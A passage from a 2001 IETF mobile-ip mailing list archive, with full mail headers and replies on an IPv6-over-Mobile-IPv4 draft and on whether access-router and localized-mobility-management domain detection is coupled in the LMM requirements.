	Wed, 21 Nov 2001 18:36:25 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA00269;
	Wed, 21 Nov 2001 17:36:04 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM1ZTLS024985
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:35:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM1ZTww024984
	for mobile-ip-dist; Wed, 21 Nov 2001 17:35:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM1ZNLS024964
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:35:23 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA20662
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:35:25 -0800 (PST)
Received: from auemail2.firewall.lucent.com (auemail2.lucent.com [192.11.223.163])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA14624
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:35:24 -0800 (PST)
Received: from ih2mail.ih.lucent.com (h135-1-241-39.lucent.com [135.1.241.39])
	by auemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fAM1ZNK14181
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 20:35:23 -0500 (EST)
Received: from lucent.com by ih2mail.ih.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id TAA15331; Wed, 21 Nov 2001 19:35:21 -0600 (CST)
Message-ID: <3BFC5657.2D6F32B2@lucent.com>
Date: Wed, 21 Nov 2001 19:35:19 -0600
From: Tom Hiller <tomhiller@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD EMS-1.5  (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] IPv6 over Mobile IPv4
References: <35DBB8B7AC89D4118E98009027B1009B411FB4@IL27EXM10.cig.mot.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Mukesh,

The draft's status is as follows: Our latest revision of the draft (-02) does
what you suggest below, thereby eliminating FA changes and the need for the FA
to be dual stack. We mailed (-02) to internet-drafts earlier today, so it should
be announced in a few days. We can email it directly upon request in the
meantime.

We agree -  this is a good interim solution while IPv6 issues are resolved. 

thanks,
Tom 


Bhatla Mukesh-MBHATLA1 wrote:
> 
> Hello All,
> 
> Till the time Mobile IPv6 issues are sorted out, this draft seems to be a
> feasible solution. What's happening with this draft ?
> 
> I had a issue regarding the draft. As mentioned in the draft, why do we need
> a dual stack both on the MN and the FA. If MN has the dual stack why can't
> HA just tunnel the IPv6 packets in IPv4 tunnels to the MN (double IPv4
> tunneling from HA to FA). FA just opens outer encapsulation and forwards the
> packet based on the HA's IPv4 address and MN's IPv4 address. Anyway as
> mentioned in the draft a private IPv4 address is assigned to the MN. That
> way even FA is not changed..
> 
> Thanks,
> Mukesh.


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 20:48:42 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA15920
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 20:48:41 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA04917;
	Wed, 21 Nov 2001 18:47:07 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA01505;
	Wed, 21 Nov 2001 17:46:51 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM1kCLS025162
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:46:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM1kCCp025161
	for mobile-ip-dist; Wed, 21 Nov 2001 17:46:12 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM1k8LS025154
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:46:08 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA21610
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:46:10 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA08390
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:46:10 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id RAA17858
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:46:09 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAM1k9P22160
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:46:09 -0800
X-mProtect:  Wed, 21 Nov 2001 17:46:09 -0800 Nokia Silicon Valley Messaging Protection
Received: from jmalinen.iprg.nokia.com (205.226.2.98)
	by darkstar.iprg.nokia.com(P1.5 smtpdQufiek; Wed, 21 Nov 2001 17:46:07 PST
Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id RAA89445 for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:46:07 -0800 (PST)
Message-ID: <3BFC58DF.26C6BF80@iprg.nokia.com>
Date: Wed, 21 Nov 2001 17:46:07 -0800
From: "Jari T. Malinen" <jmalinen@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

This reminds me that there was a question in the design team
on what the autoconfiguration in the text refers to. In addition
to setting up the capability advertisement in ARs, you say it also
encompasses the MN operation on recognizing the capability.  This
is clearer if there is also the text on LMM domain movement detection
as a separate item.

Settling whether the AR/LMM domains are coupled/decoupled now may
indeed help evaluation but it also may lead to the kind of dispute
Mike was refering to: if we now say AR/LMM domains are the same or not,
we create the kind of assumption that later may get challenged.
To help evaluation when leaving it as a design space issue we may
consider a basic design principle of making protocols independent of
each other when possible.

BR,

-Jari


Theo Pagtzis wrote:
> 
> Hi Mike,
> 
>   the issue of LMM detection pertains primarily on the established issue
> for (auto)configuration of the LMM..since they have to advertise their
> existence (or better LMM capability). Advertisment alone can effect one
> level of indirection (let's put it this way) in the 'detection'
> abstraction still at L3. How you do that is up to the LMM
> autoconfiguration protocol but it has indeed been addressed in the
> requirement space IMHO as the requirement for autoconfiguration...
> 
> I would suggest we do not scratch this wound on this draft...there is _a
> lot of space for another_ a pointer for it already exists though..
> 
> So by just a single capability flag I can solve (very crudely) and fuse
> the AR/LMM detection...the requirement is how to configure the thing to
> do that cooperatively with an AR/LMM population and has been addressed I
> am sure... (I wrote it.. :)
> 
> Theo
> UCL/Mobile Systems
> 
> Michael Thomas wrote:
> >
> > Jari T. Malinen writes:
> >  > For Mike: AR domain and LMM domain detection coupling/decoupling is
> >  > a design space issue, if the former is always available and can indicate
> >  > the presence of support for LMM, ok, it is just worth mentioning LMM domain
> >  > detection is an issue whether provided separately or by e.g. AR domain
> >  > detection.
> >
> >    Hmm. Putting it into design space makes it harder to
> >    evaluate solutions by comparing them to requirements.
> >    A somewhat similar argument erupted a while ago about
> >    the assumption that the AAA and HA were always in the
> >    same administrative realm. If we were drawing
> >    up requirements for that, I'd say that that would
> >    be a pretty important one to settle on. I'm
> >    somewhat concerned that this could be a similar
> >    case and that it would be better resolved in the
> >    requirements phase rather than 6 months into
> >    the design phase...
> >
> >               Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 21:03:00 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA16179
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 21:02:59 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA29510;
	Wed, 21 Nov 2001 18:01:53 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA03151;
	Wed, 21 Nov 2001 18:01:22 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM20lLS025345
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:00:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM20lEb025344
	for mobile-ip-dist; Wed, 21 Nov 2001 18:00:47 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM20hLS025337
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:00:43 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA00796
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:00:45 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id SAA27646
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:00:43 -0800 (PST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.19409-0@bells.cs.ucl.ac.uk>; Thu, 22 Nov 2001 02:00:41 +0000
Message-ID: <3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
Date: Thu, 22 Nov 2001 02:00:40 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

hmm....

IMHO we must keep the AR and LMM entities fused as one (tightly
coupled). The reason is that if you don't do that you introduce
immediately a routing overlay...on top of ARs..routing-wise I think this
is going to be non-optimal

"Jari T. Malinen" wrote:
> 
> This reminds me that there was a question in the design team
> on what the autoconfiguration in the text refers to. In addition
> to setting up the capability advertisement in ARs, you say it also
> encompasses the MN operation on recognizing the capability.  This
> is clearer if there is also the text on LMM domain movement detection
> as a separate item.

yes perhaps we could accomodate such mention..it is not unreasonable
especially for spare LMM deployment..

> 
> Settling whether the AR/LMM domains are coupled/decoupled now may
> indeed help evaluation but it also may lead to the kind of dispute
> Mike was refering to: if we now say AR/LMM domains are the same or not,
> we create the kind of assumption that later may get challenged.
> To help evaluation when leaving it as a design space issue we may
> consider a basic design principle of making protocols independent of
> each other when possible.

beware..(see top) because if you do them independent...you effectively
talk about routing overlays..this is against aforementioned requirements
in the LMM req draft.


Theo
UCL/Mobile Systems

> 
> BR,
> 
> -Jari
> 
> Theo Pagtzis wrote:
> >
> > Hi Mike,
> >
> >   the issue of LMM detection pertains primarily on the established issue
> > for (auto)configuration of the LMM..since they have to advertise their
> > existence (or better LMM capability). Advertisment alone can effect one
> > level of indirection (let's put it this way) in the 'detection'
> > abstraction still at L3. How you do that is up to the LMM
> > autoconfiguration protocol but it has indeed been addressed in the
> > requirement space IMHO as the requirement for autoconfiguration...
> >
> > I would suggest we do not scratch this wound on this draft...there is _a
> > lot of space for another_ a pointer for it already exists though..
> >
> > So by just a single capability flag I can solve (very crudely) and fuse
> > the AR/LMM detection...the requirement is how to configure the thing to
> > do that cooperatively with an AR/LMM population and has been addressed I
> > am sure... (I wrote it.. :)
> >
> > Theo
> > UCL/Mobile Systems
> >
> > Michael Thomas wrote:
> > >
> > > Jari T. Malinen writes:
> > >  > For Mike: AR domain and LMM domain detection coupling/decoupling is
> > >  > a design space issue, if the former is always available and can indicate
> > >  > the presence of support for LMM, ok, it is just worth mentioning LMM domain
> > >  > detection is an issue whether provided separately or by e.g. AR domain
> > >  > detection.
> > >
> > >    Hmm. Putting it into design space makes it harder to
> > >    evaluate solutions by comparing them to requirements.
> > >    A somewhat similar argument erupted a while ago about
> > >    the assumption that the AAA and HA were always in the
> > >    same administrative realm. If we were drawing
> > >    up requirements for that, I'd say that that would
> > >    be a pretty important one to settle on. I'm
> > >    somewhat concerned that this could be a similar
> > >    case and that it would be better resolved in the
> > >    requirements phase rather than 6 months into
> > >    the design phase...
> > >
> > >               Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 21:29:18 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA17155
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 21:29:18 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA04282;
	Wed, 21 Nov 2001 18:28:15 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA27505;
	Wed, 21 Nov 2001 18:28:08 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM2RILS025509
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:27:18 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM2RICL025508
	for mobile-ip-dist; Wed, 21 Nov 2001 18:27:18 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM2RELS025501
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:27:14 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA03848
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:27:15 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA23487
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 19:26:57 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id SAA19557
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:27:14 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAM2RDU10281
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:27:13 -0800
X-mProtect:  Wed, 21 Nov 2001 18:27:13 -0800 Nokia Silicon Valley Messaging Protection
Received: from jmalinen.iprg.nokia.com (205.226.2.98)
	by darkstar.iprg.nokia.com(P1.5 smtpd2K98MI; Wed, 21 Nov 2001 18:27:12 PST
Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id SAA89525 for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:27:12 -0800 (PST)
Message-ID: <3BFC6280.780D41A3@iprg.nokia.com>
Date: Wed, 21 Nov 2001 18:27:12 -0800
From: "Jari T. Malinen" <jmalinen@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Theo,

I think we were here discussing a bit different issue than routing
overlay. Whether LMM domain detection and AR domain detection is
the same or not does not mandate/prevent from placing LMM entities
to ARs only, their transport topology can be a separate issue from
how a LMM domain is detected by MN connecting to an AR.

BR,

-Jari

> hmm....
> 
> IMHO we must keep the AR and LMM entities fused as one (tightly
> coupled). The reason is that if you don't do that you introduce
> immediately a routing overlay...on top of ARs..routing-wise I think this
> is going to be non-optimal
> 
> "Jari T. Malinen" wrote:
> >
> > This reminds me that there was a question in the design team
> > on what the autoconfiguration in the text refers to. In addition
> > to setting up the capability advertisement in ARs, you say it also
> > encompasses the MN operation on recognizing the capability.  This
> > is clearer if there is also the text on LMM domain movement detection
> > as a separate item.
> 
> yes perhaps we could accomodate such mention..it is not unreasonable
> especially for spare LMM deployment..
> 
> >
> > Settling whether the AR/LMM domains are coupled/decoupled now may
> > indeed help evaluation but it also may lead to the kind of dispute
> > Mike was refering to: if we now say AR/LMM domains are the same or not,
> > we create the kind of assumption that later may get challenged.
> > To help evaluation when leaving it as a design space issue we may
> > consider a basic design principle of making protocols independent of
> > each other when possible.
> 
> beware..(see top) because if you do them independent...you effectively
> talk about routing overlays..this is against aforementioned requirements
> in the LMM req draft.
> 
> Theo
> UCL/Mobile Systems
> 
> >
> > BR,
> >
> > -Jari
> >
> > Theo Pagtzis wrote:
> > >
> > > Hi Mike,
> > >
> > >   the issue of LMM detection pertains primarily on the established issue
> > > for (auto)configuration of the LMM..since they have to advertise their
> > > existence (or better LMM capability). Advertisment alone can effect one
> > > level of indirection (let's put it this way) in the 'detection'
> > > abstraction still at L3. How you do that is up to the LMM
> > > autoconfiguration protocol but it has indeed been addressed in the
> > > requirement space IMHO as the requirement for autoconfiguration...
> > >
> > > I would suggest we do not scratch this wound on this draft...there is _a
> > > lot of space for another_ a pointer for it already exists though..
> > >
> > > So by just a single capability flag I can solve (very crudely) and fuse
> > > the AR/LMM detection...the requirement is how to configure the thing to
> > > do that cooperatively with an AR/LMM population and has been addressed I
> > > am sure... (I wrote it.. :)
> > >
> > > Theo
> > > UCL/Mobile Systems
> > >
> > > Michael Thomas wrote:
> > > >
> > > > Jari T. Malinen writes:
> > > >  > For Mike: AR domain and LMM domain detection coupling/decoupling is
> > > >  > a design space issue, if the former is always available and can indicate
> > > >  > the presence of support for LMM, ok, it is just worth mentioning LMM domain
> > > >  > detection is an issue whether provided separately or by e.g. AR domain
> > > >  > detection.
> > > >
> > > >    Hmm. Putting it into design space makes it harder to
> > > >    evaluate solutions by comparing them to requirements.
> > > >    A somewhat similar argument erupted a while ago about
> > > >    the assumption that the AAA and HA were always in the
> > > >    same administrative realm. If we were drawing
> > > >    up requirements for that, I'd say that that would
> > > >    be a pretty important one to settle on. I'm
> > > >    somewhat concerned that this could be a similar
> > > >    case and that it would be better resolved in the
> > > >    requirements phase rather than 6 months into
> > > >    the design phase...
> > > >
> > > >               Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 22:36:51 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA20370
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 22:36:50 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA23628;
	Wed, 21 Nov 2001 20:35:26 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA04891;
	Wed, 21 Nov 2001 19:35:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM3YgLS025707
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 19:34:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM3YgeI025706
	for mobile-ip-dist; Wed, 21 Nov 2001 19:34:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM3YcLS025699
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 19:34:38 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA01067
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 19:34:39 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id TAA15570
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 19:34:38 -0800 (PST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.23385-0@bells.cs.ucl.ac.uk>; Thu, 22 Nov 2001 03:34:36 +0000
Message-ID: <3BFC724B.B39F670B@cs.ucl.ac.uk>
Date: Thu, 22 Nov 2001 03:34:35 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg <3BFC6280.780D41A3@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Jari,

 I am aware that the issue appears somewhat different than what was
mentioned..however I look on the impact of the seperation you or Mike
may advocate..

I respectfully disagree with your position..by the time you decouple a
single LMM entity away from its AR device for inter-domain LMM
detection..you have done it for all...otherwise how could you
distinguish which is which..unless of course you only have one LMM agent
per domain..which I trust is a no-no (does not scale).

Theo
UCL/Mobile Systems

PS.If you don't hear me back in your next response I've gone to
bed..night to all..


"Jari T. Malinen" wrote:
> 
> Theo,
> 
> I think we were here discussing a bit different issue than routing
> overlay. Whether LMM domain detection and AR domain detection is
> the same or not does not mandate/prevent from placing LMM entities
> to ARs only, their transport topology can be a separate issue from
> how a LMM domain is detected by MN connecting to an AR.
> 
> BR,
> 
> -Jari
> 
> > hmm....
> >
> > IMHO we must keep the AR and LMM entities fused as one (tightly
> > coupled). The reason is that if you don't do that you introduce
> > immediately a routing overlay...on top of ARs..routing-wise I think this
> > is going to be non-optimal
> >
> > "Jari T. Malinen" wrote:
> > >
> > > This reminds me that there was a question in the design team
> > > on what the autoconfiguration in the text refers to. In addition
> > > to setting up the capability advertisement in ARs, you say it also
> > > encompasses the MN operation on recognizing the capability.  This
